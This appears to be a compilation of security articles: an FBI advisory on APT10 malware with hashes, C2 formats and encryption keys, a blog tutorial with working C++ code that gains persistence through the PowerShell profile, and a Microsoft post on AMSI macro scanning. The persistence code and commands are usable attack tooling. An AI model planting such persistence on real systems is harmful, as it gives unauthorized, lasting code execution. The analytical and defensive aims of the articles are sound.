Any activity related to APT10 detected on a network should be considered an indication of a compromise requiring extensive mitigation and contact with law enforcement.
## TECHNICAL DETAILS:
APT10 uses custom tools which should be immediately flagged if detected, reported to FBI CYWATCH, and given highest priority for enhanced mitigation. The presence of such tools is typically part of a comprehensive, multifaceted effort to maintain persistent network access and exfiltrate data. The custom tools used by this group are as follows:
### REDLEAVES
The REDLEAVES implant is a remote access Trojan (RAT) which operates largely in memory with functionality suitable for system enumeration and lateral movement within victim networks. Industry reporting provides REDLEAVES may be used in spearphishing campaigns as an intrusion vector. REDLEAVES source code shares commonalities with TROCHILUS RAT. Variants of REDLEAVES include HIMAWARI and LAVENDER malware.
REDLEAVES comprises an executable file (EXE), custom loader (DLL), and an encoded data file (DAT) containing shellcode and the REDLEAVES DLL. Upon execution of the EXE file, the custom loader DLL is side-loaded and conducts a function call to load and decode an XOR encoded data file containing (a) stage-one shellcode, (b) stage-two shellcode, and (c) the REDLEAVES DLL. The stage-one shellcode launches “svchost.exe” to process hollow the stage-two shellcode; stage-two shellcode, in turn, allocates memory in “svchost.exe” to load REDLEAVES DLL. After the REDLEAVES DLL runs, the EXE file process terminates.
REDLEAVES is able to utilize a named pipe to execute commands in remote shell or, alternatively, pass instructions through “cmd.exe” to execute commands directly in the command shell. Basic REDLEAVES functionality includes victim system enumeration, file search/deletion, screenshots, as well as data transmission. Prior to transmission, REDLEAVES compresses raw data with MiniLZO and encrypts said data with RC4 encryption. REDLEAVES is able to communicate with command and control (C2) servers on HTTP/HTTPS or custom TCP protocols across ports 53, 80, 443, and 995.
Although REDLEAVES operates in memory to avoid detection, early versions may not conduct anti-forensics; evidence, therefore, of files copied to/from an infected host may still be present on disk. If a machine is believed to be infected, it is recommended to examine for “svchost.exe” processes which do not have “services.exe” as parent; “svchost.exe” memory pages mapped as read-write-execute (RWX); as well as reviewing forensic memory capture for anomalies commonly associated with malicious processes.
### UPPERCUT/ANEL
UPPERCUT, also known as ANEL, is a backdoor Trojan used in spearphishing campaigns to deploy second-stage payloads such as credential harvesters. Industry reporting states APT10 deploys UPPERCUT through decoy Word documents containing a malicious Visual Basic macro (VBA). UPPERCUT is known to exploit CVE-2017-8759 and CVE-2017-1182. It may be detected by antivirus engines as “TROJ_ANELLDR”, “BKDR_ANELENC”, “APT.Backdoor.Win.UPPERCUT”, and/or “FE_APT_Backdoor_Win32_UPPERCUT”.
Installation commences when the victim user enables the Word document macro, resulting in the download of three Privacy Enhanced Mail (PEM) text files. These PEM files are decoded with “certutil.exe” to produce an EXE, DLL, and DAT containing shellcode and the UPPERCUT DLL. Upon execution of the EXE file, the custom loader DLL is side-loaded and conducts a function call to load and decrypt the shellcode; the shellcode decodes and decompresses the UPPERCUT DLL. After the UPPERCUT DLL runs in memory, the PEM files are deleted with “esentutle.exe”.
UPPERCUT is known to use Blowfish encryption when communicating with C2 servers. UPPERCUT communicates with C2 servers through HTTP GET or POST requests. UPPERCUT initially collects victim computer information, such as hostname and OS version, and then aggregates and encrypts the data into a string embedded within the Uniform Resource Identifier (URI) of HTTP requests. Upon receiving an initial request, the C2 server will respond with an HTTP status response; if no C2 response is given, UPPERCUT may resend the HTTP request with a “GetLastError” code contained within the Cookie header. Subsequent commands and modules between the C2 servers and UPPERCUT are Blowfish encrypted and then embedded within the body of HTTP requests or responses. Basic functionality includes the ability to execute commands, upload/download files, load executables, and take screenshots.
### CHCHES
CHCHES, also known as CHINESE CHESS, is a RAT which communicates with C2 servers using HTTP Cookie headers. Industry reporting provides CHCHES may be used in spearphishing campaigns as an initial intrusion vector designed to deploy second-stage payloads. The CHCHES EXE is known to disguise itself with a Word icon or shortcut, as well as use expired or revoked certificates.
CHCHES initially collects victim computer hostname; process identifier (PID); current working directory (%TEMP%); screen resolution; as well as kernel32.dll or explorer.exe version. This data is aggregated into a string, encrypted, and embedded within the Cookie header of an HTTP GET or POST request and beaconed to a C2 server. The C2 server responds with an HTTP status response containing a unique identifier within the “Set-Cookie” tag. After a second HTTP GET beacon is sent containing the unique identifier encrypted and embedded within the Cookie header, the C2 server will transmit modules and commands. CHCHES modules loaded onto memory include the ability to execute commands, upload/download files, load and run DLLs, as well as encrypt communications using AES encryption.
APT10 also acquires legitimate credentials and uses commonly available tools as part of their effort to maintain persistent network access. Mitigation efforts should also focus on identifying such access and removing it. FBI has identified the following specific, but not wholly exclusive, malware and tools previously used by this group:
- QUASAR RAT
Please see APPENDIX A and APPENDIX B for technical indicators and indicators of compromise (IOCs) associated with this APT.
## RECOMMENDED STEPS FOR INITIAL MITIGATION:
The FBI recommends the following mitigation measures be taken within the first 72 hours of detection:
### Prepare Your Environment for Incident Response
- Establish Out-of-Band Communications methods for dissemination of intrusion response plans and activities, inform network operations centers (NOCs) and computer emergency response teams (CERTs) according to institutional policy and SOPs.
- Maintain and actively monitor centralized host and network logging solutions after ensuring all devices have logging enabled and their logs are being aggregated to those centralized solutions.
- Disable all remote (including remote desktop protocol and virtual private network) access until a password change with two-factor authentication has been completed.
- Implement full secure socket layer (SSL) / transport layer security (TLS) inspection capability (on perimeter and proxy devices).
- Monitor accounts and devices determined to be part of the compromise to prevent reacquisition attempts.
- Collect forensic images including memory capture of devices determined to be part of the compromise.
### Implement core mitigations to prevent re-exploitation (within 72 hours)
Implement a network-wide password reset with two-factor authentication (preferably with local host access only, no remote changes allowed) to include:
- All domain accounts (especially high-privileged administrators)
- Local Accounts
- Machine and System Accounts
Patch all systems for critical vulnerabilities:
A patch management process which regularly patches vulnerable software remains a critical component in raising the difficulty of intrusions for cyber operators. While a few adversaries use zero-day exploits to target victims, many adversaries still target known vulnerabilities for which patches have been released, capitalizing on slow patch processes and risk decisions by network owners not to patch certain vulnerabilities or systems. A few of these targeted vulnerabilities include the following:
- CVE-2018-8477
- CVE-2018-8514
- CVE-2018-8580
- CVE-2018-8595
- CVE-2018-8596
- CVE-2018-8598
- CVE-2018-8616
- CVE-2018-8621
- CVE-2018-8622
- CVE-2018-8627
- CVE-2018-8637
- CVE-2018-8638
- CVE-2018-8373
- CVE-2018-8174
- CVE-2017-8759
- CVE-2017-1182
- CVE-2017-0199
While watching for infections from the malware families detailed above, we also recommend ensuring you are patched against older vulnerabilities commonly exploited by cyber operators, such as CVE-2012-0158.
After initial response activities, deploy and properly configure a mitigation tool kit such as Microsoft's Enhanced Mitigation Experience Toolkit (EMET). EMET employs several mitigation techniques to combat memory corruption techniques. It is recommended all hosts and servers on the network implement mitigation toolkits.
### DHS Cybersecurity and Infrastructure Security Agency Mitigation Guidance:
The Department of Homeland Security’s Cybersecurity and Infrastructure Security Agency (CISA) has multiple alerts and additional mitigation guidance related to this APT and managed service providers.
### National Security Agency Cybersecurity:
The NSA has Cybersecurity Advisories and Operational Risk Notices (ORNs), guidance, and other cybersecurity advice on their Cybersecurity website.
## REPORTING NOTICE:
Please report any compromise believed to be attributable to this APT group by calling or emailing FBI’s 24/7 Cyber Watch (CyWatch). CyWatch can be contacted by phone at (855) 292-3937 or by e-mail at [email protected]. When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact. Press inquiries should be directed to the FBI’s national Press Office at [email protected] or (202) 324-3691.
## ADMINISTRATIVE NOTE
This product is marked TLP:WHITE. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For comments or questions related to the content or dissemination of this product, contact CyWatch.
### APPENDIX A – TECHNICAL INDICATORS
**(I.) REDLEAVES:**
REDLEAVES configuration block structure overview (XOR encoded).
| C2 Domain/IP | Port 995, 80, 53, 443 | HTTP/HTTPS/TCP | GroupID | Mutex | RC4 encryption key |
- RC4 encryption is used in conjunction with MiniLZO for compression of raw data
- known RC4 key: 0x6A6F686E3132333400
**REDLEAVES C2 communication structure overview (TCP).**
Packet_01 (12 bytes):
| generated 32-bit value | FIXED 32-bit value | total length of second packet |
Packet_02 (12 bytes):
| uncompressed data length | compressed data length | FIXED 32-bit value | encrypted & compressed data |
- Packet_02 headers may be XOR encoded with first four bytes of key
**REDLEAVES sample, variant and/or artifact hash values.**
- MD5 hash: 6a1c14d5f16a07bef55943134fe618c0
- Certificate: 01 00 00 00 00 01 2A 60 4F B6 B4 [Tsingsoft Imagination Information Technology Co., Ltd.]
- Certificate: 04 00 00 00 00 01 1E 44 A5 EC BE [not time valid]
- Certificate: 04 00 00 00 00 01 23 9E 0F AC B3 [not time valid]
- MD5 hash: 81df89d6fa0b26cadd4e50ef5350f341
- MD5 hash: b3139b26a2dabb9b6e728884d8fa8b33
- MD5 hash: 06b0af6ff00647f57119d8a261829f73
- MD5 hash: 080f8017607bb14e0b1ad25ec6e400f5
- MD5 hash: 265cf3ddc1e43449ae067e0e405ecd2f
- MD5 hash: 4f1ffebb45b30dd3496caaf1fa9c77e3
- MD5 hash: 627b903657b28f3a2e388393103722c8
- MD5 hash: 797b450509e9cad63d30cd596ac8b608
- MD5 hash: c9460df90bd8db84428b8c4d3db1e1e1
- MD5 hash: c9e7710e9255e3b17524738501fa8d45
- MD5 hash: d2d086f62f3fcdc5be8eba3879e04b90
- MD5 hash: dd0494eb1ab29e577354fca895bec92a
- MD5 hash: ddc8df45efe202623b3c917d766c9317
- MD5 hash: e2627a887898b641db720531258fd133
- MD5 hash: ed65bbe9498d3fb1e4d4ac0058590d88
- MD5 hash: fb0c714cd2ebdcc6f33817abe7813c36
**(II.) UPPERCUT/ANEL:**
UPPERCUT/ANEL C2 communication structure overview.
(1.) HTTP GET Request beacon URI:
GET /page/?encrypted string of victim computer data
Structure of URI string (decrypted):
?| generated_string_01 |=| data_01 |&| generated_string_02 |=| data_02 |&| . . . |&| generated_string_X |=| data_X |
- String is Blowfish, XOR, Base64 encrypted
- Known Blowfish key: this is the encrypt key
- Known Blowfish key: f12df6984bb65d18e2561bd017df29ee1cf946efa5e510802005aeee9035dd53
(2.) C2 HTTP Response:
HTTP/1.1 200 OK
Body contains Blowfish-encrypted commands and modules
**UPPERCUT/ANEL sample, variant and/or artifact hash values.**
- MD5 Hash: 4f83c01e8f7507d23c67ab085bf79e97
- MD5 Hash: cca227f70a64e1e7fcf5bccdc6cc25dd
- MD5 Hash: f188936d2c8423cf064d6b8160769f21
**(III.) CHCHES:**
CHCHES C2 communication structure overview.
(1.) HTTP GET Request beacon Cookie:
GET /generated value.htm HTTP/1.1
Cookie: encrypted string of victim computer data
Structure of Cookie string (decrypted):
A| hostname |*| PID |?| FIXED value |?| temp folder path | ChChes version |(| screen resolution |)|*| kernel32.dll/explorer.exe version |
- known fixed value: 3618468394
(2.) C2 HTTP Response:
HTTP/1.1 200 OK
Set-cookie: tag= 16 byte ID of infected host (middle 16 bytes of MD5 hash value based on hostname * PID)
(3.) HTTP GET Request reply:
GET /generated value.htm HTTP/1.1
Cookie: encrypted B| 16 byte ID of infected host |
**CHCHES sample, variant and/or artifact hash values.**
- MD5 Hash: 19610f0d343657f6842d2045e8818f09
- Certificate: 3F FC EB A8 3F E0 0F EF 97 F6 3C D9 2E 77 EB B9 [not time valid, revoked]
- Certificate: 52 00 E5 AA 25 56 FC 1A 86 ED 96 C9 D4 4B 33 C7
- Certificate: 18 DA D1 9E 26 7D E8 BB 4A 21 58 CD CC 6B 3B 4A
- MD5 Hash: 1d0105cf8e076b33ed499f1dfef9a46b
- Certificate: 3F FC EB A8 3F E0 0F EF 97 F6 3C D9 2E 77 EB B9 [not time valid, revoked]
- Certificate: 52 00 E5 AA 25 56 FC 1A 86 ED 96 C9 D4 4B 33 C7
- Certificate: 18 DA D1 9E 26 7D E8 BB 4A 21 58 CD CC 6B 3B 4A
- MD5 Hash: 472b1710794d5c420b9d921c484ca9e8
- Certificate: 3F FC EB A8 3F E0 0F EF 97 F6 3C D9 2E 77 EB B9 [not time valid, revoked]
- Certificate: 52 00 E5 AA 25 56 FC 1A 86 ED 96 C9 D4 4B 33 C7
- Certificate: 18 DA D1 9E 26 7D E8 BB 4A 21 58 CD CC 6B 3B 4A
- MD5 Hash: 684888079aaf7ed25e725b55a3695062
- Certificate: 3F FC EB A8 3F E0 0F EF 97 F6 3C D9 2E 77 EB B9 [not time valid, revoked]
- Certificate: 52 00 E5 AA 25 56 FC 1A 86 ED 96 C9 D4 4B 33 C7
- Certificate: 18 DA D1 9E 26 7D E8 BB 4A 21 58 CD CC 6B 3B 4A
- MD5 Hash: ca9644ef0f7ed355a842f6e2d4511546
- Certificate: 3F FC EB A8 3F E0 0F EF 97 F6 3C D9 2E 77 EB B9 [not time valid, revoked]
- Certificate: 52 00 E5 AA 25 56 FC 1A 86 ED 96 C9 D4 4B 33 C7
- Certificate: 18 DA D1 9E 26 7D E8 BB 4A 21 58 CD CC 6B 3B 4A
- MD5 Hash: 37c89f291dbe880b1f3ac036e6b9c558
- Certificate: 3F FC EB A8 3F E0 0F EF 97 F6 3C D9 2E 77 EB B9 [not time valid, revoked]
- Certificate: 52 00 E5 AA 25 56 FC 1A 86 ED 96 C9 D4 4B 33 C7
- Certificate: 18 DA D1 9E 26 7D E8 BB 4A 21 58 CD CC 6B 3B 4A
- MD5 Hash: c0c8dcc9dad39da8278bf8956e30a3fc
- Certificate: 3F FC EB A8 3F E0 0F EF 97 F6 3C D9 2E 77 EB B9 [not time valid, revoked]
- Certificate: 52 00 E5 AA 25 56 FC 1A 86 ED 96 C9 D4 4B 33 C7
- Certificate: 18 DA D1 9E 26 7D E8 BB 4A 21 58 CD CC 6B 3B 4A
- MD5 Hash: b0649c1f7fb15796805ca983fd8f95a3
- MD5 Hash: 1b891bc2e5038615efafabe48920f200
- Certificate: 3F FC EB A8 3F E0 0F EF 97 F6 3C D9 2E 77 EB B9 [not time valid, revoked]
- Certificate: 52 00 E5 AA 25 56 FC 1A 86 ED 96 C9 D4 4B 33 C7
- Certificate: 18 DA D1 9E 26 7D E8 BB 4A 21 58 CD CC 6B 3B 4A
- MD5 Hash: f5744d72c6919f994ff452b0e758ffee
- Certificate: 3F FC EB A8 3F E0 0F EF 97 F6 3C D9 2E 77 EB B9 [not time valid, revoked]
- Certificate: 52 00 E5 AA 25 56 FC 1A 86 ED 96 C9 D4 4B 33 C7
- Certificate: 18 DA D1 9E 26 7D E8 BB 4A 21 58 CD CC 6B 3B 4A
- MD5 Hash: f586edd88023f49bc4f9d84f9fb6bd7d
## REPORT REFERENCES
Accenture Security; HOGFISH RedLeaves Campaign
BAE Systems; APT10 – Operation Cloud Hopper
Carbon Black; Carbon Black Threat Research Dissects Red Leaves Malware, Which Leverages DLL Side Loading
CrowdStrike; Two Birds, One STONE PANDA
CrowdStrike; You Have an Adversary Problem
FireEye; APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat
FireEye; APT10 Targeting Japanese Corporations Using Updated TTPs
Japan Computer Emergency Response Team; ChChes – Malware that Communicates with C&C Servers Using Cookie Headers
Japan Computer Emergency Response Team; RedLeaves – Malware Based on Open Source RAT
LAC; Confirm new attack with APT attacker group menuPass (APT10) [translated]
LAC; Relationship between attacker group menuPass and malware “Poison Ivy, PlugX, ChChes” [translated]
MITRE; menuPass
NCC Group; Red Leaves implant – overview
Palo Alto Networks; menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organization
PricewaterhouseCoopers & BAE Systems; Operation Cloud Hopper
Trend Micro; ChessMaster Adds Updated Tools to its Arsenal
Trend Micro; ChessMaster Makes its Move: A Look into the Campaign’s Cyberespionage Arsenal
U.S. Department of Homeland Security; IR-ALERT-MED-17-093-01C, Intrusions Affecting Multiple Victims Across Multiple Sectors
Your Feedback on the Value of this Product Is Critical
Was this product of value to your organization? Was the content clear and concise? Your comments are very important to us and can be submitted anonymously. Please take a moment to complete the survey at the link below. Feedback should be specific to your experience with our written products to enable the FBI to make quick and continuous improvements to such products. Feedback may be submitted online here:
Please note that this survey is for feedback on content and value only. Reporting of technical information regarding FLASH reports must be submitted through FBI CYWATCH. |
# Malware Development: Persistence - Part 11. PowerShell Profile
Hello, cybersecurity enthusiasts and white hackers! This post is the result of self-researching one of the interesting malware persistence tricks: via PowerShell profile.
## PowerShell Profile
A PowerShell profile is a PowerShell script that allows system administrators and end users to configure their environment and perform specified commands when a Windows PowerShell session begins. The PowerShell profile script is stored in the folder `WindowsPowerShell`.
Let’s add the following code to the current user’s profile file, which will be performed whenever the infected user enters a PowerShell console:
```
Z:\2022-09-20-malware-pers-11\hack.exe
```
I will demonstrate everything with a practical example, and you will understand everything.
## Practical Example
Firstly, create our “malicious” file:
```cpp
/*
hack.cpp
evil app for windows
persistence via powershell profile
author: @cocomelonc
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
return 0;
}
```
As usual, it is just a “meow-meow” message box. Compile it:
```
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
```
And we can run it on the victim machine for checking correctness. Then we do this simple “trick”:
```
echo Z:\2022-09-20-malware-pers-11\hack.exe > "%HOMEPATH%\Documents\windowspowershell\profile.ps1"
```
And finally, run PowerShell:
```
powershell -executionpolicy bypass
```
As you can see, our malicious logic executed as expected, and PowerShell is the parent process of our message box. =^..^=
I created a simple PoC code to automate this process:
```cpp
/*
pers.cpp
windows persistence via Powershell profile
author: @cocomelonc
*/
#include <windows.h>
#include <stdio.h>
#include <strsafe.h>
#include <iostream>
int main(int argc, char* argv[]) {
char path[MAX_PATH];
char *homepath = getenv("USERPROFILE");
char pspath[] = "\\Documents\\windowspowershell";
char psprofile[] = "\\profile.ps1";
char evil[] = "Z:\\2022-09-20-malware-pers-11\\hack.exe";
DWORD evilLen = (DWORD)strlen(evil);
StringCchCopy(path, MAX_PATH, homepath);
StringCchCat(path, MAX_PATH, pspath);
BOOL wd = CreateDirectoryA(path, NULL);
if (wd == FALSE) {
printf("unable to create dir: %s\n", path);
} else {
printf("successfully create dir: %s\n", path);
}
StringCchCat(path, MAX_PATH, psprofile);
HANDLE hf = CreateFile(
path,
GENERIC_WRITE,
0,
NULL,
CREATE_NEW,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hf == INVALID_HANDLE_VALUE) {
printf("unable to create file: %s\n", path);
} else {
printf("successfully create file: %s\n", path);
}
BOOL wf = WriteFile(hf, evil, evilLen, NULL, NULL);
if (wf == FALSE) {
printf("unable to write to file %s\n", path);
} else {
printf("successfully write to file evil path: %s\n", evil);
}
CloseHandle(hf);
return 0;
}
```
The logic is simple; this script just creates the profile folder if it does not exist, then creates the profile file and updates it.
## Demo
Let’s go to see everything in action. Compile our PoC:
```
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
```
And run it on the victim’s machine:
```
.\pers.exe
```
And when the PowerShell session is started, if we check it via Process Hacker, `powershell.exe` is the parent process again as expected. As you can see, everything worked perfectly! =^..^=
But there is a caveat. If PowerShell is run without execution policy bypass mode, this persistence trick does not work in my case. Also, there are four places you can abuse the PowerShell profile, depending on the privileges you have:
```
$PROFILE | select *
```
By storing arbitrary instructions in the profile script, PowerShell profiles present several chances for code execution. To avoid relying on the user to start PowerShell, you may use a scheduled job that executes PowerShell at a certain time.
## Mitigations
Enforce execution of only signed PowerShell scripts. Sign profiles to avoid them from being modified. Also, you can avoid PowerShell profiles if not needed, for example via the `-No-Profile` flag.
This persistence trick is used by Turla in the wild. I hope this post spreads awareness to the blue teamers of this interesting technique and adds a weapon to the red teamers' arsenal.
Thanks for your time, happy hacking and goodbye!
PS. All drawings and screenshots are mine. |
# Office VBA + AMSI: Parting the Veil on Malicious Macros
As part of our continued efforts to tackle entire classes of threats, Office 365 client applications now integrate with Antimalware Scan Interface (AMSI), enabling antivirus and other security solutions to scan macros and other scripts at runtime to check for malicious behavior.
Macro-based threats have always been a prevalent entry point for malware, but we have observed a resurgence in recent years. Continuous improvements in platform and application security have led to the decline of software exploits, and attackers have found a viable alternative infection vector in social engineering attacks that abuse functionalities like VBA macros. Microsoft, along with the rest of the industry, observed attackers transition from exploits to using malicious macros to infect endpoints. Malicious macros have since showed up in commodity malware campaigns, targeted attacks, and in red-team activities.
To counter this threat, we invested in building better detection mechanisms that expose macro behavior through runtime instrumentation within our threat protection solutions in the cloud. We’re bringing this instrumentation directly into Office 365 client applications. More importantly, we’re exposing this capability through AMSI, an open interface, making it accessible to any antivirus solution.
## Obfuscation and Other Forms of Detection Evasion
Macros are popular among attackers because of the rich capabilities that the VBA runtime exposes and the privileged context in which macros execute. Notably, as with all scripting languages, attackers have another advantage: they can hide malicious code through obfuscation. To evade detection, malware needs to hide intent. The most common way that attackers do this is through code obfuscation. Macro source codes are easy to obfuscate, and a plethora of free tools are available for attackers to automatically do this. This results in polymorphic malware, with evolving obfuscation patterns and multiple obfuscated variants of the same malicious macro.
There’s more: malicious code can be taken out of the macro source and hidden in other document components like text labels, forms, Excel cells, and others. Or why hide at all? A small piece of malicious code can be embedded somewhere in a huge legitimate source and keep a low profile.
How can antivirus and other security solutions cope? Today, antivirus solutions can extract and scan the obfuscated macro source code from an Office document. How can the macro’s intent be exposed? What if security solutions can observe a macro’s behavior at runtime and gain visibility into system interactions? Enter Office and AMSI integration.
## AMSI on Windows 10
In MITRE’s evaluation of EDR solutions, Windows Defender ATP demonstrated industry-leading optics and detection capabilities. The breadth of telemetry, the strength of threat intelligence, and the advanced, automatic detection through machine learning, heuristics, and behavior monitoring delivered comprehensive coverage of attacker techniques across the entire attack chain.
If AMSI rings a bell, it’s because we talked about how PowerShell adopted AMSI in a blog post when AMSI was introduced back in 2015. Antimalware Scan Interface (AMSI) is an open interface available on Windows 10 for applications to request, at runtime, a synchronous scan of a memory buffer by an installed antivirus or security solution. Any application can interface with AMSI and request a scan for any data that may be untrusted or suspicious.
Any antivirus can become an AMSI provider and inspect data sent by applications via the AMSI interface. If the content submitted for scan is detected as malicious, the requesting application can take action to deal with the threat and ensure the safety of the device. AMSI also integrates with the JavaScript, VBScript, and PowerShell scripting engines. Over the years, we have been steadily increasing our investments in providing security solutions with deeper visibility into script-based threats. Insights seen via AMSI are consumed by our own security products. The new Office and AMSI integration is yet another addition to the arsenal of protection against script-based malware. Windows Defender Advanced Threat Protection (Windows Defender ATP) leverages AMSI and machine learning to combat script-based threats that live off the land.
## Office VBA Integration with AMSI
The Office VBA integration with AMSI is made up of three parts: (a) logging macro behavior, (b) triggering a scan on suspicious behavior, and (c) stopping a malicious macro upon detection.
### Logging Macro Behavior
The VBA language offers macros a rich set of functions that can be used to interface with the operating system to run commands, access the file system, etc. Additionally, it allows the ability to issue direct calls to COM methods and Win32 APIs. The VBA scripting engine handles calls from macro code to COM and APIs via internal interfaces that implement the transition between the caller and the callee. These interfaces are instrumented such that the behavior of a macro is trapped and all relevant information, including the function name and its parameters, are logged in a circular buffer.
This monitoring is not tied to specific functions; it’s generic and works on any COM method or Win32 API. The logged calls can come in two formats:
- `<COM_Object>.<COM_Method>(“Parameter 1”, …, “Parameter n”);`
- `<API_or_function_Name>(“Parameter 1”, …, “Parameter n”);`
Invoked functions, methods, and APIs need to receive the parameters in the clear (plaintext) in order to work; thus, this behavioral instrumentation is not affected by obfuscation. This instrumentation thus reveals a weak spot for macro codes; the antivirus now has visibility on relevant activity of the macro in the clear.
To illustrate, consider the following string obfuscation in a shell command:
`Shell(“ma”+”l”+ “wa”+ “r” + “e.e” + “xe”)`
With the Office VBA and AMSI integration, this is logged like so:
`Shell(“malware.exe”);`
### Triggering on Suspicious Behavior
When a potentially high-risk function or method (a trigger; for example, CreateProcess or ShellExecute) is invoked, Office halts the execution of the macro and requests a scan of the macro behavior logged up to that moment, via the AMSI interface. The AMSI provider (e.g., antivirus software) is invoked synchronously and returns a verdict indicating whether or not the observed behavior is malicious.
The list of high-risk functions or triggers are meant to cover actions at various stages of an attack chain (e.g., payload download, persistence, execution, etc.) and are selected based on their prevalence among malicious and benign macros. The behavior log sent over AMSI can include information like suspicious URLs from which malicious data was downloaded, suspicious file names known to be associated with malware, and others. This data is valuable in determining if the macro is malicious, as well as in the creation of detection indicators – all without any influence from obfuscation.
### Stopping Malicious Macros Upon Detection
If behavior is assessed malicious, macro execution is stopped. The user is notified by the Office application, and the application session is shut down to avoid any further damage. This can stop an attack in its tracks, protecting the device and user.
## Case Study 1: Heavily Obfuscated Macro Code
To illustrate how the Office VBA and AMSI integration can expose malicious macro code, let’s look at a recent social engineering attack that uses macro-based malware. The initial vector is a Word document with instructions in the Chinese language to “Enable content”.
If the recipient falls for the lure and enables content, the malicious macro code runs and launches a command to download the payload from a command-and-control server controlled by the attacker. The payload, an installer file, is then run. The macro code is heavily obfuscated. However, behavior monitoring is not hindered by obfuscation. It produces a log that clearly exposes malicious actions that antivirus solutions can detect much more easily than if the code was obfuscated.
## Case Study 2: Macro Threat That Lives Off the Land
The following is an example of macro malware that “lives off the land”, which means that it stays away from the disk and uses common tools to run code directly in memory. In this case, it uses shellcode and dynamic pages. Like the previous example, this attack uses social engineering to get users to click “Enable Content” and run the macro code, but this one uses instructions in the Spanish language in Excel.
When run, the macro code dynamically allocates virtual memory, writes shellcode to the allocated location, and uses a system callback to transfer execution control. The malicious shellcode then achieves fileless persistence, being memory-resident without a file. When the shellcode gets execution control, it launches a PowerShell command to download additional payload from a command-and-control server controlled by the attacker. Even if the macro code uses fileless code execution technique using shellcode, its behavior is exposed to antivirus solutions via the AMSI interface.
With the AMSI scan integration in both Office VBA and PowerShell, security solutions like Windows Defender ATP can gain clear visibility into malicious behavior at multiple levels and successfully block attacks.
## Windows Defender ATP: Force Multiplier and Protection for Down-Level Platforms
In addition to protecting users running Office 365 applications on Windows 10, detections via AMSI allow modern endpoint protection platforms like Windows Defender ATP to extend protection to customers via the cloud. In Windows Defender AV’s cloud-delivered antivirus protection, the Office VBA and AMSI integration enriches the signals sent to the cloud, where multiple layers of machine learning models classify and make verdicts on files. When devices encounter documents with suspicious macro code, Windows Defender AV sends metadata and other machine learning features, coupled with signals from Office AMSI, to the cloud. Verdicts by machine learning translate to real-time protection for the rest of Windows Defender AV customers with cloud protection enabled.
This protection is also delivered to the rest of Microsoft 365 customers. Through the Microsoft Intelligent Security Graph, security signals are shared across components of Microsoft 365 threat protection. For example, in the case of macro malware, detections of malicious macro-laced documents by Windows Defender AV are shared with Office 365 ATP, which blocks emails carrying the document, stopping attacks before the documents land in users' mailboxes.
Within a few weeks after the release of this new instrumentation in Office VBA and the adoption by Windows Defender ATP, we saw this multiplier effect, with signals from a few hundred devices protecting several tens of thousands of devices. Because Office AMSI feature exposes behaviors of the macro irrespective of content, language, or obfuscation, signals from one part of the world can translate to protection for the rest of the globe – this is powerful.
## Availability
AMSI integration is now available and turned on by default on the Monthly Channel for Office 365 client applications including Word, Excel, PowerPoint, Access, Visio, and Publisher. In its default configuration, macros are scanned at runtime via AMSI except in the following scenarios:
- Documents opened while macro security settings are set to “Enable All Macros”
- Documents opened from trusted locations
- Documents that are trusted documents
- Documents that contain VBA that is digitally signed by a trusted publisher
Office 365 applications also expose a new policy control for administrators to configure if and when macros are scanned at runtime via AMSI:
**Group: Macro Runtime Scan Scope Policy Setting Name**
**Path:** User Configuration > Administrative templates > Microsoft Office 2016 > Security Settings
**Description:** This policy setting specifies for which documents the VBA Runtime Scan feature is enabled.
- **Disable for all documents:** If the feature is disabled for all documents, no runtime scanning of enabled macros will be performed.
- **Enable for low trust documents:** If the feature is enabled for low trust documents, the feature will be enabled for all documents for which macros are enabled except:
- Documents opened while macro security settings are set to “Enable All Macros”
- Documents opened from a Trusted Location
- Documents that are Trusted Documents
- Documents that contain VBA that is digitally signed by a Trusted Publisher
- **Enable for all documents:** If the feature is enabled for all documents, then the above class of documents are not excluded from the behavior.
This protocol allows the VBA runtime to report to the Anti-Virus system certain high-risk code behaviors it is about to execute and allows the Anti-Virus to report back to the process if the sequence of observed behaviors indicates likely malicious activity so the Office application can take appropriate action. When this feature is enabled, affected VBA projects’ runtime performance may be reduced.
## Conclusion: Exposing Hidden Malicious Intent
Macro-based malware continuously evolves and poses challenges in detection using techniques like sandbox evasion and code obfuscation. Antimalware Scan Interface (AMSI)’s integration with Office 365 applications enable runtime scanning of macros, exposing malicious intent even with heavy obfuscation. This latest improvement to Office 365 allows modern endpoint security platforms like Windows Defender ATP to defeat macro-based threats.
Code instrumentation and runtime monitoring are powerful tools for threat protection. Combined with runtime scanning via AMSI, they enable antivirus and other security solutions to have greater visibility into the runtime behavior of a macro execution session at a very granular level, while also bypassing code obfuscation. This enables antivirus solutions to (1) detect a wide range of mutated or obfuscated malware that exhibit the same behavior using a smaller but more efficient set of detection algorithms, and (2) impose more granular restrictions on what macros are allowed to do at runtime.
Moreover, AMSI protection is not limited to macros. Other scripting engines like JavaScript, VBScript, and PowerShell also implement a form of code instrumentation and interface with AMSI. Attacks with multiple stages that use different scripts will be under scrutiny by AMSI at each step, exposing all behaviors and enabling detection by antivirus and other solutions. We believe this is another step forward in elevating security for Microsoft 365 customers. More importantly, AMSI and Office 365 integration enables the broader ecosystem of security solutions to better detect and protect customers from malicious attacks without disrupting day-to-day productivity. |
# APT15 is Alive and Strong: An Analysis of RoyalCli and RoyalDNS
